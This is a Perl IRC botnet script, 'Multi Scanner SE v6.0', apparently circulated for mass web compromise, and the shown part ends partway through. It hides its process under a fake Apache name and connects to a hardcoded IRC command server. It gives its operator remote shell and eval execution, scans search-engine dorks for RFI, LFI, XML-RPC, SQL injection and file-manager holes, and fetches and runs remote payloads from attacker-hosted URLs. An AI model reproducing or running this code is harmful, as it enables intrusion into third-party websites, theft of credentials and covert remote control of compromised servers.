#!/usr/bin/perl
################################################  
use HTTP::Request;                             #
use HTTP::Request::Common;                     #
use HTTP::Request::Common qw(POST);            #
use LWP::Simple;                               #
use LWP 5.53;                                  #
use LWP::UserAgent;                            #
use Socket;                                    #
use IO::Socket;                                #
use IO::Socket::INET;                          #
use IO::Select;                                #
use MIME::Base64;			       #
################################################

my $datetime = localtime;

my $fakeproc  	= "/usr/sbin/apach5 -k start"; 
my $ircserver   = "5.135.208.233";
my $ircport   	= "66661";

my @array = (
    'a', 'b',  'c', 'd', 'e', 'f', 'g', 'h', 'i', 'l', 'm', 'n',
    'o', 'p',  'q', 'r', 's', 't', 'u', 'i', 'O', 'Y', 'T', 'Y',
    'O', 'O',  'P', 'p', 'B', 'C', 'R', 'O', 'S', 'E', 'K', 'J',
    'W', 'NS', 'j', 'k', 'v', 'w', 'x', 'z', '1', '2', '3', '4',
    '5', '6',  '7', '8', '9', '0'
);
my $nickname = "tommy-"
  . $array[ rand(@array) ]
  . $array[ rand(@array) ]
  . $array[ rand(@array) ]
  . $array[ rand(@array) ]
  . $array[ rand(@array) ]
  . $array[ rand(@array) ];
my $ident     	= "WhatsChat";
my $channel   	= "#puteri";
my $admin    	= "pico";
my $fullname  	= "PircBot 1.5.0 Java IRC Bot - www.jibble.org";

my $nob0dy    = "15,1(4@9AspAlt15)";
my $lfilogo   = "15,1(4@9LFI15)";
my $rfilogo   = "15,1(4@9RFI15)";
my $xmllogo   = "15,1(4@9XML15)";
my $sqllogo   = "15,1(4@9SQL15)";
my $oscologo  = "15,1(4@9OSCO15)";
my $zenlogo   = "15,1(4@9ZEN15)";
my $oplogo    = "15,1(4@9OPEN15)";
my $lokologo  = "15,1(4@9LOKO15)";
my $thumblogo = "15,1(4@9TIMTHUMB15)";
my $toolstore = "15,1(4@9TOOLSTORE15)";
my $whmlogo   = "15,1 0[whm]15";;
my $e107logo  = "15,1 0[e107]15";;
my $e107logosql = "15,1 0[e107sql]15";;

my $lficmd    = '!lfi';
my $rficmd    = '!rfi';
my $xmlcmd    = '!xml';
my $sqlcmd    = '!sql';
my $oscocmd   = '!osco';
my $zencmd    = '!zen';
my $lokocmd   = '!loko';
my $opcmd     = '!op';
my $thumbcmd  = '!tim';
my $toolcmd   = '!store';
my $cmdlfi    = '!cmdlfi';
my $cmdxml    = '!cmdxml';
my $whmcmd    = '!whm';
my $e107cmd   = '!e107';
my $esqlcmd   = '!e107sql';
my $cmde107   = '!cmde107';

my $injector  = "http://bitcoinshell.mooo.com/users/pico/dvdpagat.txt";
my $botshell  = "http://bitcoinshell.mooo.com/users/pico/bonze.jpg";
my $botshell2 = "http://bitcoinshell.mooo.com/users/pico/bonzen.jpg";
my $thumbshell = "http://picasa.com.oxybeauty.com/module.php";
my $agz1	= "/cache/cfa22c096745e2d78fd1054a38320b2f.php";
my $agz2	= "/cache/external_cfa22c096745e2d78fd1054a38320b2f.php";
my $agz3	= "/temp/cfa22c096745e2d78fd1054a38320b2f.php";
my $agz4	= "/temp/external_cfa22c096745e2d78fd1054a38320b2f.phpp";
my $agz5	= "/thumb-temp/cfa22c096745e2d78fd1054a38320b2f.php";
my $agz6  = "/wp-content/uploads/external_cfa22c096745e2d78fd1054a38320b2f.php";
my $action	= "/data/sz.php?cmd=wget%20$thumbshell;wget%20http://bitcoinshell.mooo.com/users/pico/scan2.txt;perl%20scan2.txtt";
my @bypasser  = ("www.fuerzajovenargentina.com//wp-includes/google.php","http://infinityaction.com//wp-includes/google.php","http://www.honeyclub.pk//wp-includes/google.php","http://bestdev.oranc.co.kr/zb4//data/google.php","http://www.alexgretter.com/google.php","http://gestion-tripartita.es/google.php","http://www.alexoloughlin.es/google.php","http://revenuemedia.se/wp-includes/google.php","http://www.shokolatki.com/google.php","http://www.satuwarta.com/google.php");
my $bypass    = $bypasser[rand(scalar(@bypasser))];
my @uagents   = ("Microsoft Internet Explorer/4.0b1 (Windows 95)","Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)","Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)","Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)","Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)","Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)","Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)","Mozilla/4.0 (compatible; MSIE 7.0b; Win32)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Microsoft Pocket Internet Explorer/0.6","Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)","MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)","Advanced Browser (http://www.avantbrowser.com)","Avant Browser (http://www.avantbrowser.com)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)","Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)","Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)","Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511","Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox","Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b","Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0","Mozilla/3.0 (OS/2; U)","Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)","Mozilla/4.61 (Macintosh; I; PPC)","Mozilla/4.61 [en] (OS/2; U)","Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)","Mozilla/4.8 [en] (Windows NT 5.0; U)");
my $uagent    = $uagents[rand(scalar(@uagents))];
my $lfdtest   = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
my $open_test = "/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html";
my $loko_output = ("FCKeditor - Resources Browser");
my $open_output = ("FCKeditor - Connectors Tests");

my @tabele		= ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
					'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
					'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
					'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
					'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
					'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
					'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
					'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
					'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
					'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
my @kolumny		= ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
					'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
					'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
					'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
					'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
					'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
$SIG{'INT'}   = 'IGNORE';
$SIG{'HUP'}   = 'IGNORE';
$SIG{'TERM'}  = 'IGNORE';
$SIG{'CHLD'}  = 'IGNORE';
$SIG{'PS'}    = 'IGNORE';
$ircserver = "$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0" x 16;;
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
    if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
    } else {
        print $IRC_cur_socket "$_[0]\n";
    }
}

sub connector {
    my $mynick = $_[0];
    my $ircserver_con = $_[1];
    my $ircport_con = $_[2];
    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
    if (defined($IRC_socket)) {
        $IRC_cur_socket = $IRC_socket;
        $IRC_socket->autoflush(1);
        $sel_client->add($IRC_socket);
		$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
        $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
        nick("$mynick");
        my $versi   = "9,1[!] 1,15 LND 9,1 [!]";
        sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
        sleep (1);}}
sub parse {
    my $servarg = shift;
    if ($servarg =~ /^PING \:(.*)/) {
        sendraw("PONG :$1");
    }
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
        if (lc($1) eq lc($mynick)) {
            $mynick = $4;
            $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        }
    }
    elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
        nick("$mynick".int rand(1));
    }
    elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
        $mynick = $2;
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
        sendraw("MODE $mynick +i");
        sendraw("JOIN $channel");
        sleep(2);
        sendraw("PRIVMSG $admin :Hi $admin im here !!!");
        sendraw("PRIVMSG $channel :12-=[       8LND SCANBOT 12]=-");
	      sendraw("PRIVMSG $channel :12-=[ 8$rficmd [bug] [dork] 12]=-");
	      sendraw("PRIVMSG $channel :12-=[ 8WE ARE FUCKING OBRAZ!!! 12]=-");
        sleep(2);
	      sendraw("PRIVMSG $channel :12-=[       8SCANNER BY!!! 12]=-");
	      sendraw("PRIVMSG $channel :12-=[      8mboh!!! 12]=-");
    }
}
my $line_temp;
while( 1 ) {
    while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
    select(undef, undef, undef, 0.01);;
    delete($irc_servers{''}) if (defined($irc_servers{''}));
    my @ready = $sel_client->can_read(0);
    next unless(@ready);
    foreach $fh (@ready) {
        $IRC_cur_socket = $fh;
        $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
        $nread = sysread($fh, $ircmsg, 4096);
        if ($nread == 0) {
            $sel_client->remove($fh);
            $fh->close;
            delete($irc_servers{$fh});
        }
        @lines = split (/\n/, $ircmsg);
        $ircmsg =~ s/\r\n$//;

        if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
            my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
			my $engine ="WebDe,bypass,GooGLe,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeSE,GooGLeNO,GooGLeBR,GooGLeCO,GooGLeAU,GooGLeRU,GooGLePL,GooGLeIL,GooGLeUA,GooGLeJP,GooGLeCN,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeZA,JackRU,JackPL,JackMY,JackKR,JackDK,JackCOM,GOOGDE,GOOGUK,GOOGFR,GOOGES,GOOGIT,GOOGNL,GOOGSE,GOOGNO,GOOGBR,GOOGCO,GOOGAU,GOOGRU,GOOGPL,GOOGIL,GOOGUA,GOOGJP,GOOGCN,GOOGIN,GOOGKR,GOOGRO,GOOGZA,NetSprint,sAol,bypass,Lookle,KvaSiR,optusZoo,Pagina,Search66,Arrama,eXciteJP,Clix,SearchCH,Cada,JAPAN,CHINA,MALAYSHIA,THAILAND,INDONESIA,KOREA,ROMANIA,TAIWAN,SOUTHAFRICA,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR,BingGERMANY,BingUNITEDKINGDOM,BingCANADA,BingBRAZIL,BingFRANCE,BingESPANION,BingITALY,BingBELGIUM,BingNETHERLAND,BingPORTLAND,BingNORWAY,BingDENMARK,BingSECOND,BingCHILIE,BingNEWZEALAND,BingRUSSIA,BingJAPAN,BingCHINA,BingKOREA,BingMEXICO,BingARGENTINA,BingCLUE,BingAUSTRALIA,ASKINGCANADA,ASKINGDENMARK,ASKINGITALY,ASKINGFRANCE,ASKINGESPANION,ASKINGRUSSIA,ASKINGNETHERLANDS,ASKINGUNITEDKINGDOM,ASKINGBRAZIL,ASKINGPOLAND,ASKINGAUSTRALIA,ASKINGARGENTINA,ASKINGJAPAN,ASKINGSECOND,ASKINGMEXICO,ASKINGNORWAY,ASKINGDENMARK,YahOo,YahOoCA,YahOoIT,YahOoHK,YahOoTW,YahOoBR,YahOoPL,YahOoKR,GooGle3,GooGle4,GooGle5,GooGle6,GooGle7,GooGle8,GooGle9,GooGlea2,GooGLeC1,GooGLeC2,GooGLeC3,GooGLeC4,GooGLeC5,snz,yandex,joeant,terra,youdao,amfibi,bigclique,dancefloor,live,rakuten,biglobe,nova,nadji,goo,uksubmit,excite";
            if ($path eq $mynick) {
                if ($msg =~ /^
PING (.*)
/) {
                    sendraw("NOTICE $nick :
PING $1
");
                }
                if ($msg =~ /^
VERSION
/) {
                    sendraw("NOTICE $nick :Batchtrack Adro Version");
                }
                if ($msg =~ /^
TIME
/) {
                    sendraw("NOTICE $nick :
TIME ".$datetime."
");
                }
                if (&isAdmin($nick) && $msg eq "!die") {
                    &shell("$path","kill -9 $$");
                }
                if (&isAdmin($nick) && $msg eq "!killall") {
                    &shell("$path","killall -9 perl");
                }
                if (&isAdmin($nick) && $msg eq "!reset") {
                    sendraw("QUIT :Restarting...");
                }
                if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
                    sendraw("JOIN #".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
                    sendraw("PART #".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
                    sendraw("NICK ".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^!pid/) {
                    sendraw($IRC_cur_socket, "PRIVMSG $nick :9,1Fake Process/PID : $fakeproc - $$");
                }
                if (&isAdmin($nick) && $msg !~ /^!/) {
                    &shell("$nick","$msg");
                }
 				if (&isAdmin($nick) && $msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
					my $url = $1.$lfdtest;
					my $cmd = $2;
					&cmdlfi($url,$cmd,$nick);
				}
				if (&isAdmin($nick) && $msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
					my $url = $1;
					my $cmd = $2;
					&cmdxml($url,$cmd,$nick);
				}
           }
            else {
                if (&isAdmin($nick) && $msg eq "!die") {
                    &shell("$path","kill -9 $$");
                }
                if (&isAdmin($nick) && $msg eq "!killall") {
                    &shell("$path","killall -9 perl");
                }
                if (&isAdmin($nick) && $msg eq "!reset") {
                    sendraw("QUIT :Restarting...");
                }
                if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
                    sendraw("JOIN #".$1);
                }
                if (&isAdmin($nick) && $msg eq "!part") {
                    sendraw("PART $path");
                }
                if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
                    sendraw("PART #".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
                    &shell("$path","$1");
                }
                if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
                    &shell("$path","$1");
                }
				if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
				eval "$1";
				}
				##################################################################### HIT

				if ($msg=~ /^$cmdlfi\s+(.+?)\s+(.*)/){
					my $url = $1.$lfdtest;
					my $cmd = $2;
					&cmdlfi($url,$cmd,$path);
				}
				if ($msg=~ /^$cmdxml\s+(.+?)\s+(.*)/){
					my $url = $1;
					my $cmd = $2;
					&cmdxml($url,$cmd,$path);
				}
				
                ##################################################################### HELP COMMAND

                if ($msg=~ /^!help/) {
                    my $btlogo = "15,1(4@9BOT15)";
                    my $scanlogo = "15,1(4@9SCAN15)";
                    my $infoplogo = "15,1(4@9INFO15)";
                    my $speciallogo = "15,1(4@9SPECIAL15)";
                    &msg("$path","$scanlogo 14 ##############################################################");
                    &msg("$path","$btlogo 14   ########9[Multi Scanner V6*PRIVATE* Coded by mboh]14########");
                    &msg("$path","$scanlogo 14 ################9[SCAN-COMMANDS]14##########################");
                    &msg("$path","$scanlogo 7 ( $rficmd|$lficmd|$sqlcmd|$xmlcmd|$thumbcmd [bug][dork]|!portscan[ip][port]) )");
                    &msg("$path","$scanlogo 7 ( $cmdlfi|$cmdxml) [target][cmd] )");
                    &msg("$path","$scanlogo 7 ( $zencmd | $oscocmd | $lokocmd | $opcmd [dork] ) ");sleep(2);
                    &msg("$path","$scanlogo 14 ################9[SCAN-NEW(whm,e107)]14##########################");
                    &msg("$path","$scanlogo 7 ( $whmcmd [bug][dork]|$e107cmd [bug][dork] |$esqlcmd [bug][dork] )");
                    &msg("$path","$infoplogo 14 ################9[INFO-COMMANDS]14##########################");
                    &msg("$path","$infoplogo 7 ( !about|!engine|!version|!pid )");
                    &msg("$path","$speciallogo 14 ################9[SPECIAL-COMMANDS]14#######################");
                    &msg("$path","$speciallogo 7 ( !store [dork] )");
                    &msg("$path","$helplogo 14 ################9[END HELP]14###############################");
                }
                if ($msg=~ /^!engine/) {
                    my $enginelogo = "15,1(4@9EnginE15)";
                    &msg("$path","$enginelogo 4 GooGLe,NetSprint,sAol,Lookle,optusZoo,Search66,Arrama,eXciteJP,Clix,SearchCH,Cada,JAPAN,CHINA,MALAYSHIA,THAILAND,INDONESIA,KOREA,ROMANIA,TAIWAN,SOUTHAFRICA,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR,BingGERMANY,BingUNITEDKINGDOM,BingCANADA,BingBRAZIL,BingFRANCE,BingESPANION,BingITALY,BingBELGIUM,BingNETHERLAND,BingPORTLAND,BingNORWAY,BingDENMARK,BingSECOND,BingCHILIE,BingNEWZEALAND,BingRUSSIA,BingJAPAN,BingCHINA,BingKOREA,BingMEXICO,BingARGENTINA,BingCLUE,BingAUSTRALIA,ASKINGCANADA,ASKINGDENMARK,ASKINGITALY,ASKINGFRANCE,ASKINGESPANION,ASKINGRUSSIA,ASKINGNETHERLANDS,ASKINGUNITEDKINGDOM,ASKINGBRAZIL,ASKINGPOLAND,ASKINGAUSTRALIA,ASKINGARGENTINA,ASKINGJAPAN,ASKINGSECOND,ASKINGMEXICO,ASKINGNORWAY,ASKINGDENMARK,YahOo,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,snz,yandex,joeant,terra,youdao,amfibi,bigclique,dancefloor,live,rakuten,biglobe,nova,nadji,goo,uksubmit,excite");
                    &msg("$path","$enginelogo 4 --Update:10.01.2013--");
                    &msg("$path","$enginelogo 4 KvaSiR and Pagina added");
                    &msg("$path","$enginelogo 4 --Update:09.03.2013--");
                    &msg("$path","$enginelogo 4 GOOGLE MASSOVERTAKE ADDED");
                    &msg("$path","$enginelogo 4 GooGle3,GooGle4,GooGle5,GooGle6,GooGle7,GooGle8,GooGle9,GooGlea2,GooGLeC1,GooGLeC2,GooGLeC3,GooGLeC4,GooGLeC5,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeSE,GooGLeNO,GooGLeBR,GooGLeCO,GooGLeAU,GooGLeRU,GooGLePL,GooGLeIL,GooGLeUA,GooGLeJP,GooGLeCN,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeZA");
                }
                if ($msg=~ /^!about/) {
                    my $aboutlogo = "15,1(4@9About Bot15)";
                    &msg("$path","$aboutlogo 9Multi Scanner SE v6.0*PRIV* by mboh");
                }
                if ($msg=~ /^!version/) {
                    my $versionlogo = "15,1(4@9Version15)";
                    &msg("$path","$versionlogo 13 Multi Scanner SE v6.0*PRIV* by mboh");
                }
                if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
                    if (&isFound($injector,"aXBheXMg=")) {
                        &msg("$path","15,1(4@9Injector15)13 PHP Shell 9READY TO FUCK!!!");
                    } else {
                        &msg("$path","15,1(4@9Injector15)13 PHP Shell 4LOST!!!");
                    }
                }
                if (&isAdmin($nick) && $msg =~ /^!pid/) {
                    &notice("$nick","9,1Fake Process/PID : 8$fakeproc - $$");
                }

                ##################################################################### RFI SCAN

                if ($msg=~ /^$rficmd\s+(.+?)\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            if (&isFound($injector,"aXBheXMg=")) {
                            my ($bug,$dork) = ($1,$2);
                            &msg("$path","$rfilogo 9Dork :4 $dork");
                            &msg("$path","$rfilogo 13Bugz :4 $bug");
                            &msg("$path","$rfilogo 8Search Engine Loading ...");
                            &scan_start($path,$bug,$dork,$engine,1);
                        } else {
                            &msg("$path","[ $nick ] $rfilogo 4PHP Shell Not Found!");
                            }
                        }
                        exit;
                    }
                }

                ##################################################################### LFI SCAN

                if ($msg=~ /^$lficmd\s+(.+?)\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            if (&isFound($injector,"aXBheXMg=")) {
                                my ($bug,$dork) = ($1,$2);
                                &msg("$path","$lfilogo 9Dork :4 $dork");
                                &msg("$path","$lfilogo 13Bugz :4 $bug");
                                &msg("$path","$lfilogo 8Search Engine Loading ...");
                                &scan_start($path,$bug,$dork,$engine,2);
                            } else {
                                &msg("$path","[ $nick ] $lfilogo 4PHP Shell Not Found!");
                            }
                        }
                        exit;
                    }
                }

				##################################################################### XML SCAN
				if ($msg=~ /^$xmlcmd\s+(.*?)\s+(.*)/ ) {
					if (my $pid = fork) {
						waitpid($pid, 0);
					}
					else {
						if (fork) {    exit; } else {
                            if (&isFound($injector,"aXBheXMg=")) {
                                my ($bug,$dork) = ($1,$2);
                                &msg("$path","$xmllogo 9Dork :4 $dork");
                                &msg("$path","$xmllogo 13Bugz :4 $bug");
                                &msg("$path","$xmllogo 8Search Engine Loading ...");
                                &scan_start($path,$bug,$dork,$engine,3);
                            } else {
                                &msg("$path","[ $nick ] $xmllogo 4PHP Shell Not Found!");
                            }
                        }
                        exit;
                    }
                }
				
                ##################################################################### SQL SCAN

                if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            my ($bug,$dork) = ($1,$2);
                            &msg("$path","$sqllogo 9Dork :4 $dork");
                            &msg("$path","$sqllogo 13Bugz :4 $bug");
                            &msg("$path","$sqllogo 8Search Engine Loading ...");
                            &scan_start($path,$bug,$dork,$engine,4);
                        }
                        exit;
                    }
                }

                ##################################################################### OSCO SCAN

                if ($msg=~ /^$oscocmd\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            if (&isFound($injector,"aXBheXMg=")) {
                            my ($bug,$dork) = ("admin/categories.php/login.php?cPath=&action=new_product_preview",$1);
                            &msg("$path","$oscologo 9Dork :4 $dork");
                            &msg("$path","$oscologo 8Search Engine Loading ...");
                            &scan_start($path,$bug,$dork,$engine,5);
                        } else {
                            &msg("$path","[ $nick ] $oscologo 4PHP Shell Not Found!");
                            }
                        }
                        exit;
                    }
                }
                ##################################################################### OSCO SCAN

                if ($msg=~ /^$oscocmd\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            if (&isFound($injector,"aXBheXMg=")) {
                            my ($bug,$dork) = ("admin/file_manager.php/login.php",$1);
                            &scan_start($path,$bug,$dork,$engine,5);
                         } else {
                            &msg("$path","[ $nick ] $oscologo 4PHP Shell Not Found!");
                            }
                        }
                        exit;
                    }
                }

                ##################################################################### LOKO SCAN

                if ($msg=~ /^$lokocmd\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            my ($bug,$dork) = ("filemanager/browser.html",$1);
                            &msg("$path","$lokologo 9Dork :4 $dork");
                            &msg("$path","$lokologo 8Search Engine Loading ...");
                            &scan_start($path,$bug,$dork,$engine,6);
                        }
                        exit;
                    }
                }
                ##################################################################### OPENCART SCAN

                if ($msg=~ /^$opcmd\s+(.+?)\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            my ($bug,$dork) = ($1,$2);
                            &msg("$path","$oplogo 9Dork :4 $dork");
                            &msg("$path","$oplogo 13Bugz :4 $bug");
                            &msg("$path","$oplogo 8Search Engine Loading ...");
                            &scan_start($path,$bug,$dork,$engine,7);
                        }
                        exit;
                    }
                }
                ##################################################################### ZEN SCAN
